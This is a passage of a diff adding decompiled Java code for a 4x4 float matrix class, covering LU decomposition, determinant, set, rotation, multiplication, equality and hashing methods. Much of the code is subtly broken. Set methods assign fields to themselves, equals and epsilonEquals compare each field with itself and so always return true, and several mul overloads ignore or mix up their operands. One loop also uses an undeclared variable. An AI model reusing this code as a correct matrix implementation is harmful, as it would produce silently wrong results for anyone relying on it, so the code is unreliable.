+      double big = 0.0D;
+      
+
+      int j = 4;
+      while (j-- != 0) {
+        double temp = matrix0[(ptr++)];
+        temp = Math.abs(temp);
+        if (temp > big) {
+          big = temp;
+        }
+      }
+      
+
+      if (big == 0.0D) {
+        return false;
+      }
+      row_scale[(rs++)] = (1.0D / big);
+    }
+    
+
+
+
+
+
+    int mtx = 0;
+    
+
+    for (int j = 0; j < 4; j++)
+    {
+
+
+
+
+      for (int i = 0; i < j; i++) {
+        int target = mtx + 4 * i + j;
+        double sum = matrix0[target];
+        int k = i;
+        int p1 = mtx + 4 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 4;
+        }
+        matrix0[target] = sum;
+      }
+      
+
+
+      double big = 0.0D;
+      int imax = -1;
+      for (i = j; i < 4; i++) {
+        int target = mtx + 4 * i + j;
+        double sum = matrix0[target];
+        int k = j;
+        int p1 = mtx + 4 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 4;
+        }
+        matrix0[target] = sum;
+        
+        double temp;
+        if ((temp = row_scale[i] * Math.abs(sum)) >= big) {
+          big = temp;
+          imax = i;
+        }
+      }
+      
+      if (imax < 0) {
+        throw new RuntimeException(VecMathI18N.getString("Matrix4f13"));
+      }
+      
+
+      if (j != imax)
+      {
+        int k = 4;
+        int p1 = mtx + 4 * imax;
+        int p2 = mtx + 4 * j;
+        while (k-- != 0) {
+          double temp = matrix0[p1];
+          matrix0[(p1++)] = matrix0[p2];
+          matrix0[(p2++)] = temp;
+        }
+        
+
+        row_scale[imax] = row_scale[j];
+      }
+      
+
+      row_perm[j] = imax;
+      
+
+      if (matrix0[(mtx + 4 * j + j)] == 0.0D) {
+        return false;
+      }
+      
+
+      if (j != 3) {
+        double temp = 1.0D / matrix0[(mtx + 4 * j + j)];
+        int target = mtx + 4 * (j + 1) + j;
+        i = 3 - j;
+        while (i-- != 0) {
+          matrix0[target] *= temp;
+          target += 4;
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void luBacksubstitution(double[] matrix1, int[] row_perm, double[] matrix2)
+  {
+    int rp = 0;
+    
+
+    for (int k = 0; k < 4; k++)
+    {
+      int cv = k;
+      int ii = -1;
+      
+
+      for (int i = 0; i < 4; i++)
+      {
+
+        int ip = row_perm[(rp + i)];
+        double sum = matrix2[(cv + 4 * ip)];
+        matrix2[(cv + 4 * ip)] = matrix2[(cv + 4 * i)];
+        if (ii >= 0)
+        {
+          int rv = i * 4;
+          for (int j = ii; j <= i - 1; j++) {
+            sum -= matrix1[(rv + j)] * matrix2[(cv + 4 * j)];
+          }
+        }
+        if (sum != 0.0D) {
+          ii = i;
+        }
+        matrix2[(cv + 4 * i)] = sum;
+      }
+      
+
+
+      int rv = 12;
+      matrix2[(cv + 12)] /= matrix1[(rv + 3)];
+      
+      rv -= 4;
+      matrix2[(cv + 8)] = ((matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 2)]);
+      
+
+      rv -= 4;
+      matrix2[(cv + 4)] = ((matrix2[(cv + 4)] - matrix1[(rv + 2)] * matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 1)]);
+      
+
+
+      rv -= 4;
+      matrix2[(cv + 0)] = ((matrix2[(cv + 0)] - matrix1[(rv + 1)] * matrix2[(cv + 4)] - matrix1[(rv + 2)] * matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 0)]);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final float determinant()
+  {
+    float det = m00 * (m11 * m22 * m33 + m12 * m23 * m31 + m13 * m21 * m32 - m13 * m22 * m31 - m11 * m23 * m32 - m12 * m21 * m33);
+    
+    det -= m01 * (m10 * m22 * m33 + m12 * m23 * m30 + m13 * m20 * m32 - m13 * m22 * m30 - m10 * m23 * m32 - m12 * m20 * m33);
+    
+    det += m02 * (m10 * m21 * m33 + m11 * m23 * m30 + m13 * m20 * m31 - m13 * m21 * m30 - m10 * m23 * m31 - m11 * m20 * m33);
+    
+    det -= m03 * (m10 * m21 * m32 + m11 * m22 * m30 + m12 * m20 * m31 - m12 * m21 * m30 - m10 * m22 * m31 - m11 * m20 * m32);
+    
+
+    return det;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;m03 = 0.0F;
+    m10 = m10;m11 = m11;m12 = m12;m13 = 0.0F;
+    m20 = m20;m21 = m21;m22 = m22;m23 = 0.0F;
+    m30 = 0.0F;m31 = 0.0F;m32 = 0.0F;m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    m00 = ((float)m00);m01 = ((float)m01);m02 = ((float)m02);m03 = 0.0F;
+    m10 = ((float)m10);m11 = ((float)m11);m12 = ((float)m12);m13 = 0.0F;
+    m20 = ((float)m20);m21 = ((float)m21);m22 = ((float)m22);m23 = 0.0F;
+    m30 = 0.0F;m31 = 0.0F;m32 = 0.0F;m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public final void set(float scale)
+  {
+    m00 = scale;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = scale;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = scale;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] m)
+  {
+    m00 = m[0];
+    m01 = m[1];
+    m02 = m[2];
+    m03 = m[3];
+    m10 = m[4];
+    m11 = m[5];
+    m12 = m[6];
+    m13 = m[7];
+    m20 = m[8];
+    m21 = m[9];
+    m22 = m[10];
+    m23 = m[11];
+    m30 = m[12];
+    m31 = m[13];
+    m32 = m[14];
+    m33 = m[15];
+  }
+  
+
+
+
+
+
+  public final void set(Vector3f v1)
+  {
+    m00 = 1.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = x;
+    
+    m10 = 0.0F;
+    m11 = 1.0F;
+    m12 = 0.0F;
+    m13 = y;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 1.0F;
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(float scale, Vector3f t1)
+  {
+    m00 = scale;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = x;
+    
+    m10 = 0.0F;
+    m11 = scale;
+    m12 = 0.0F;
+    m13 = y;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = scale;
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Vector3f t1, float scale)
+  {
+    m00 = scale;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = (scale * x);
+    
+    m10 = 0.0F;
+    m11 = scale;
+    m12 = 0.0F;
+    m13 = (scale * y);
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = scale;
+    m23 = (scale * z);
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1, Vector3f t1, float scale)
+  {
+    m00 = (m00 * scale);
+    m01 = (m01 * scale);
+    m02 = (m02 * scale);
+    m03 = x;
+    
+    m10 = (m10 * scale);
+    m11 = (m11 * scale);
+    m12 = (m12 * scale);
+    m13 = y;
+    
+    m20 = (m20 * scale);
+    m21 = (m21 * scale);
+    m22 = (m22 * scale);
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1, Vector3d t1, double scale)
+  {
+    m00 = ((float)(m00 * scale));
+    m01 = ((float)(m01 * scale));
+    m02 = ((float)(m02 * scale));
+    m03 = ((float)x);
+    
+    m10 = ((float)(m10 * scale));
+    m11 = ((float)(m11 * scale));
+    m12 = ((float)(m12 * scale));
+    m13 = ((float)y);
+    
+    m20 = ((float)(m20 * scale));
+    m21 = ((float)(m21 * scale));
+    m22 = ((float)(m22 * scale));
+    m23 = ((float)z);
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void setTranslation(Vector3f trans)
+  {
+    m03 = x;
+    m13 = y;
+    m23 = z;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void rotX(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = 1.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = cosAngle;
+    m12 = (-sinAngle);
+    m13 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = sinAngle;
+    m22 = cosAngle;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotY(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = 0.0F;
+    m02 = sinAngle;
+    m03 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 1.0F;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    
+    m20 = (-sinAngle);
+    m21 = 0.0F;
+    m22 = cosAngle;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotZ(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = (-sinAngle);
+    m02 = 0.0F;
+    m03 = 0.0F;
+    
+    m10 = sinAngle;
+    m11 = cosAngle;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 1.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+  public final void mul(float scalar)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    m03 *= scalar;
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    m13 *= scalar;
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+    m23 *= scalar;
+    m30 *= scalar;
+    m31 *= scalar;
+    m32 *= scalar;
+    m33 *= scalar;
+  }
+  
+
+
+
+
+
+
+  public final void mul(float scalar, Matrix4f m1)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    m03 *= scalar;
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    m13 *= scalar;
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+    m23 *= scalar;
+    m30 *= scalar;
+    m31 *= scalar;
+    m32 *= scalar;
+    m33 *= scalar;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mul(Matrix4f m1)
+  {
+    float m00 = this.m00 * m00 + this.m01 * m10 + this.m02 * m20 + this.m03 * m30;
+    
+    float m01 = this.m00 * m01 + this.m01 * m11 + this.m02 * m21 + this.m03 * m31;
+    
+    float m02 = this.m00 * m02 + this.m01 * m12 + this.m02 * m22 + this.m03 * m32;
+    
+    float m03 = this.m00 * m03 + this.m01 * m13 + this.m02 * m23 + this.m03 * m33;
+    
+
+    float m10 = this.m10 * m00 + this.m11 * m10 + this.m12 * m20 + this.m13 * m30;
+    
+    float m11 = this.m10 * m01 + this.m11 * m11 + this.m12 * m21 + this.m13 * m31;
+    
+    float m12 = this.m10 * m02 + this.m11 * m12 + this.m12 * m22 + this.m13 * m32;
+    
+    float m13 = this.m10 * m03 + this.m11 * m13 + this.m12 * m23 + this.m13 * m33;
+    
+
+    float m20 = this.m20 * m00 + this.m21 * m10 + this.m22 * m20 + this.m23 * m30;
+    
+    float m21 = this.m20 * m01 + this.m21 * m11 + this.m22 * m21 + this.m23 * m31;
+    
+    float m22 = this.m20 * m02 + this.m21 * m12 + this.m22 * m22 + this.m23 * m32;
+    
+    float m23 = this.m20 * m03 + this.m21 * m13 + this.m22 * m23 + this.m23 * m33;
+    
+
+    float m30 = this.m30 * m00 + this.m31 * m10 + this.m32 * m20 + this.m33 * m30;
+    
+    float m31 = this.m30 * m01 + this.m31 * m11 + this.m32 * m21 + this.m33 * m31;
+    
+    float m32 = this.m30 * m02 + this.m31 * m12 + this.m32 * m22 + this.m33 * m32;
+    
+    float m33 = this.m30 * m03 + this.m31 * m13 + this.m32 * m23 + this.m33 * m33;
+    
+
+    this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+    this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+    this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+    this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public final void mul(Matrix4f m1, Matrix4f m2)
+  {
+    if ((this != m1) && (this != m2))
+    {
+      this.m00 = (m00 * m00 + m01 * m10 + m02 * m20 + m03 * m30);
+      
+      this.m01 = (m00 * m01 + m01 * m11 + m02 * m21 + m03 * m31);
+      
+      this.m02 = (m00 * m02 + m01 * m12 + m02 * m22 + m03 * m32);
+      
+      this.m03 = (m00 * m03 + m01 * m13 + m02 * m23 + m03 * m33);
+      
+
+      this.m10 = (m10 * m00 + m11 * m10 + m12 * m20 + m13 * m30);
+      
+      this.m11 = (m10 * m01 + m11 * m11 + m12 * m21 + m13 * m31);
+      
+      this.m12 = (m10 * m02 + m11 * m12 + m12 * m22 + m13 * m32);
+      
+      this.m13 = (m10 * m03 + m11 * m13 + m12 * m23 + m13 * m33);
+      
+
+      this.m20 = (m20 * m00 + m21 * m10 + m22 * m20 + m23 * m30);
+      
+      this.m21 = (m20 * m01 + m21 * m11 + m22 * m21 + m23 * m31);
+      
+      this.m22 = (m20 * m02 + m21 * m12 + m22 * m22 + m23 * m32);
+      
+      this.m23 = (m20 * m03 + m21 * m13 + m22 * m23 + m23 * m33);
+      
+
+      this.m30 = (m30 * m00 + m31 * m10 + m32 * m20 + m33 * m30);
+      
+      this.m31 = (m30 * m01 + m31 * m11 + m32 * m21 + m33 * m31);
+      
+      this.m32 = (m30 * m02 + m31 * m12 + m32 * m22 + m33 * m32);
+      
+      this.m33 = (m30 * m03 + m31 * m13 + m32 * m23 + m33 * m33);
+
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m01 * m10 + m02 * m20 + m03 * m30;
+      float m01 = m00 * m01 + m01 * m11 + m02 * m21 + m03 * m31;
+      float m02 = m00 * m02 + m01 * m12 + m02 * m22 + m03 * m32;
+      float m03 = m00 * m03 + m01 * m13 + m02 * m23 + m03 * m33;
+      
+      float m10 = m10 * m00 + m11 * m10 + m12 * m20 + m13 * m30;
+      float m11 = m10 * m01 + m11 * m11 + m12 * m21 + m13 * m31;
+      float m12 = m10 * m02 + m11 * m12 + m12 * m22 + m13 * m32;
+      float m13 = m10 * m03 + m11 * m13 + m12 * m23 + m13 * m33;
+      
+      float m20 = m20 * m00 + m21 * m10 + m22 * m20 + m23 * m30;
+      float m21 = m20 * m01 + m21 * m11 + m22 * m21 + m23 * m31;
+      float m22 = m20 * m02 + m21 * m12 + m22 * m22 + m23 * m32;
+      float m23 = m20 * m03 + m21 * m13 + m22 * m23 + m23 * m33;
+      
+      float m30 = m30 * m00 + m31 * m10 + m32 * m20 + m33 * m30;
+      float m31 = m30 * m01 + m31 * m11 + m32 * m21 + m33 * m31;
+      float m32 = m30 * m02 + m31 * m12 + m32 * m22 + m33 * m32;
+      float m33 = m30 * m03 + m31 * m13 + m32 * m23 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void mulTransposeBoth(Matrix4f m1, Matrix4f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m01 + m20 * m02 + m30 * m03);
+      this.m01 = (m00 * m10 + m10 * m11 + m20 * m12 + m30 * m13);
+      this.m02 = (m00 * m20 + m10 * m21 + m20 * m22 + m30 * m23);
+      this.m03 = (m00 * m30 + m10 * m31 + m20 * m32 + m30 * m33);
+      
+      this.m10 = (m01 * m00 + m11 * m01 + m21 * m02 + m31 * m03);
+      this.m11 = (m01 * m10 + m11 * m11 + m21 * m12 + m31 * m13);
+      this.m12 = (m01 * m20 + m11 * m21 + m21 * m22 + m31 * m23);
+      this.m13 = (m01 * m30 + m11 * m31 + m21 * m32 + m31 * m33);
+      
+      this.m20 = (m02 * m00 + m12 * m01 + m22 * m02 + m32 * m03);
+      this.m21 = (m02 * m10 + m12 * m11 + m22 * m12 + m32 * m13);
+      this.m22 = (m02 * m20 + m12 * m21 + m22 * m22 + m32 * m23);
+      this.m23 = (m02 * m30 + m12 * m31 + m22 * m32 + m32 * m33);
+      
+      this.m30 = (m03 * m00 + m13 * m01 + m23 * m02 + m33 * m03);
+      this.m31 = (m03 * m10 + m13 * m11 + m23 * m12 + m33 * m13);
+      this.m32 = (m03 * m20 + m13 * m21 + m23 * m22 + m33 * m23);
+      this.m33 = (m03 * m30 + m13 * m31 + m23 * m32 + m33 * m33);
+
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m10 * m01 + m20 * m02 + m30 * m03;
+      float m01 = m00 * m10 + m10 * m11 + m20 * m12 + m30 * m13;
+      float m02 = m00 * m20 + m10 * m21 + m20 * m22 + m30 * m23;
+      float m03 = m00 * m30 + m10 * m31 + m20 * m32 + m30 * m33;
+      
+      float m10 = m01 * m00 + m11 * m01 + m21 * m02 + m31 * m03;
+      float m11 = m01 * m10 + m11 * m11 + m21 * m12 + m31 * m13;
+      float m12 = m01 * m20 + m11 * m21 + m21 * m22 + m31 * m23;
+      float m13 = m01 * m30 + m11 * m31 + m21 * m32 + m31 * m33;
+      
+      float m20 = m02 * m00 + m12 * m01 + m22 * m02 + m32 * m03;
+      float m21 = m02 * m10 + m12 * m11 + m22 * m12 + m32 * m13;
+      float m22 = m02 * m20 + m12 * m21 + m22 * m22 + m32 * m23;
+      float m23 = m02 * m30 + m12 * m31 + m22 * m32 + m32 * m33;
+      
+      float m30 = m03 * m00 + m13 * m01 + m23 * m02 + m33 * m03;
+      float m31 = m03 * m10 + m13 * m11 + m23 * m12 + m33 * m13;
+      float m32 = m03 * m20 + m13 * m21 + m23 * m22 + m33 * m23;
+      float m33 = m03 * m30 + m13 * m31 + m23 * m32 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void mulTransposeRight(Matrix4f m1, Matrix4f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m01 + m02 * m02 + m03 * m03);
+      this.m01 = (m00 * m10 + m01 * m11 + m02 * m12 + m03 * m13);
+      this.m02 = (m00 * m20 + m01 * m21 + m02 * m22 + m03 * m23);
+      this.m03 = (m00 * m30 + m01 * m31 + m02 * m32 + m03 * m33);
+      
+      this.m10 = (m10 * m00 + m11 * m01 + m12 * m02 + m13 * m03);
+      this.m11 = (m10 * m10 + m11 * m11 + m12 * m12 + m13 * m13);
+      this.m12 = (m10 * m20 + m11 * m21 + m12 * m22 + m13 * m23);
+      this.m13 = (m10 * m30 + m11 * m31 + m12 * m32 + m13 * m33);
+      
+      this.m20 = (m20 * m00 + m21 * m01 + m22 * m02 + m23 * m03);
+      this.m21 = (m20 * m10 + m21 * m11 + m22 * m12 + m23 * m13);
+      this.m22 = (m20 * m20 + m21 * m21 + m22 * m22 + m23 * m23);
+      this.m23 = (m20 * m30 + m21 * m31 + m22 * m32 + m23 * m33);
+      
+      this.m30 = (m30 * m00 + m31 * m01 + m32 * m02 + m33 * m03);
+      this.m31 = (m30 * m10 + m31 * m11 + m32 * m12 + m33 * m13);
+      this.m32 = (m30 * m20 + m31 * m21 + m32 * m22 + m33 * m23);
+      this.m33 = (m30 * m30 + m31 * m31 + m32 * m32 + m33 * m33);
+
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m01 * m01 + m02 * m02 + m03 * m03;
+      float m01 = m00 * m10 + m01 * m11 + m02 * m12 + m03 * m13;
+      float m02 = m00 * m20 + m01 * m21 + m02 * m22 + m03 * m23;
+      float m03 = m00 * m30 + m01 * m31 + m02 * m32 + m03 * m33;
+      
+      float m10 = m10 * m00 + m11 * m01 + m12 * m02 + m13 * m03;
+      float m11 = m10 * m10 + m11 * m11 + m12 * m12 + m13 * m13;
+      float m12 = m10 * m20 + m11 * m21 + m12 * m22 + m13 * m23;
+      float m13 = m10 * m30 + m11 * m31 + m12 * m32 + m13 * m33;
+      
+      float m20 = m20 * m00 + m21 * m01 + m22 * m02 + m23 * m03;
+      float m21 = m20 * m10 + m21 * m11 + m22 * m12 + m23 * m13;
+      float m22 = m20 * m20 + m21 * m21 + m22 * m22 + m23 * m23;
+      float m23 = m20 * m30 + m21 * m31 + m22 * m32 + m23 * m33;
+      
+      float m30 = m30 * m00 + m31 * m01 + m32 * m02 + m33 * m03;
+      float m31 = m30 * m10 + m31 * m11 + m32 * m12 + m33 * m13;
+      float m32 = m30 * m20 + m31 * m21 + m32 * m22 + m33 * m23;
+      float m33 = m30 * m30 + m31 * m31 + m32 * m32 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulTransposeLeft(Matrix4f m1, Matrix4f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m10 + m20 * m20 + m30 * m30);
+      this.m01 = (m00 * m01 + m10 * m11 + m20 * m21 + m30 * m31);
+      this.m02 = (m00 * m02 + m10 * m12 + m20 * m22 + m30 * m32);
+      this.m03 = (m00 * m03 + m10 * m13 + m20 * m23 + m30 * m33);
+      
+      this.m10 = (m01 * m00 + m11 * m10 + m21 * m20 + m31 * m30);
+      this.m11 = (m01 * m01 + m11 * m11 + m21 * m21 + m31 * m31);
+      this.m12 = (m01 * m02 + m11 * m12 + m21 * m22 + m31 * m32);
+      this.m13 = (m01 * m03 + m11 * m13 + m21 * m23 + m31 * m33);
+      
+      this.m20 = (m02 * m00 + m12 * m10 + m22 * m20 + m32 * m30);
+      this.m21 = (m02 * m01 + m12 * m11 + m22 * m21 + m32 * m31);
+      this.m22 = (m02 * m02 + m12 * m12 + m22 * m22 + m32 * m32);
+      this.m23 = (m02 * m03 + m12 * m13 + m22 * m23 + m32 * m33);
+      
+      this.m30 = (m03 * m00 + m13 * m10 + m23 * m20 + m33 * m30);
+      this.m31 = (m03 * m01 + m13 * m11 + m23 * m21 + m33 * m31);
+      this.m32 = (m03 * m02 + m13 * m12 + m23 * m22 + m33 * m32);
+      this.m33 = (m03 * m03 + m13 * m13 + m23 * m23 + m33 * m33);
+
+
+
+    }
+    else
+    {
+
+
+      float m00 = m00 * m00 + m10 * m10 + m20 * m20 + m30 * m30;
+      float m01 = m00 * m01 + m10 * m11 + m20 * m21 + m30 * m31;
+      float m02 = m00 * m02 + m10 * m12 + m20 * m22 + m30 * m32;
+      float m03 = m00 * m03 + m10 * m13 + m20 * m23 + m30 * m33;
+      
+      float m10 = m01 * m00 + m11 * m10 + m21 * m20 + m31 * m30;
+      float m11 = m01 * m01 + m11 * m11 + m21 * m21 + m31 * m31;
+      float m12 = m01 * m02 + m11 * m12 + m21 * m22 + m31 * m32;
+      float m13 = m01 * m03 + m11 * m13 + m21 * m23 + m31 * m33;
+      
+      float m20 = m02 * m00 + m12 * m10 + m22 * m20 + m32 * m30;
+      float m21 = m02 * m01 + m12 * m11 + m22 * m21 + m32 * m31;
+      float m22 = m02 * m02 + m12 * m12 + m22 * m22 + m32 * m32;
+      float m23 = m02 * m03 + m12 * m13 + m22 * m23 + m32 * m33;
+      
+      float m30 = m03 * m00 + m13 * m10 + m23 * m20 + m33 * m30;
+      float m31 = m03 * m01 + m13 * m11 + m23 * m21 + m33 * m31;
+      float m32 = m03 * m02 + m13 * m12 + m23 * m22 + m33 * m32;
+      float m33 = m03 * m03 + m13 * m13 + m23 * m23 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Matrix4f m1)
+  {
+    try
+    {
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m03 == m03) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m13 == m13) && (m20 == m20) && (m21 == m21) && (m22 == m22) && (m23 == m23) && (m30 == m30) && (m31 == m31) && (m32 == m32) && (m33 == m33);
+    }
+    catch (NullPointerException e2) {}
+    
+
+
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Matrix4f m2 = (Matrix4f)t1;
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m03 == m03) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m13 == m13) && (m20 == m20) && (m21 == m21) && (m22 == m22) && (m23 == m23) && (m30 == m30) && (m31 == m31) && (m32 == m32) && (m33 == m33);
+
+
+    }
+    catch (ClassCastException e1)
+    {
+
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Matrix4f m1, float epsilon)
+  {
+    boolean status = true;
+    
+    if (Math.abs(m00 - m00) > epsilon) status = false;
+    if (Math.abs(m01 - m01) > epsilon) status = false;
+    if (Math.abs(m02 - m02) > epsilon) status = false;
+    if (Math.abs(m03 - m03) > epsilon) { status = false;
+    }
+    if (Math.abs(m10 - m10) > epsilon) status = false;
+    if (Math.abs(m11 - m11) > epsilon) status = false;
+    if (Math.abs(m12 - m12) > epsilon) status = false;
+    if (Math.abs(m13 - m13) > epsilon) { status = false;
+    }
+    if (Math.abs(m20 - m20) > epsilon) status = false;
+    if (Math.abs(m21 - m21) > epsilon) status = false;
+    if (Math.abs(m22 - m22) > epsilon) status = false;
+    if (Math.abs(m23 - m23) > epsilon) { status = false;
+    }
+    if (Math.abs(m30 - m30) > epsilon) status = false;
+    if (Math.abs(m31 - m31) > epsilon) status = false;
+    if (Math.abs(m32 - m32) > epsilon) status = false;
+    if (Math.abs(m33 - m33) > epsilon) { status = false;
+    }
+    return status;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m00);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m01);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m02);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m03);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m10);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m11);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m12);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m13);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m20);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m21);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m22);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m23);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m30);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m31);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m32);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m33);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Tuple4f vec, Tuple4f vecOut)
+  {
+    float x = m00 * x + m01 * y + m02 * z + m03 * w;
+    
+    float y = m10 * x + m11 * y + m12 * z + m13 * w;
+    
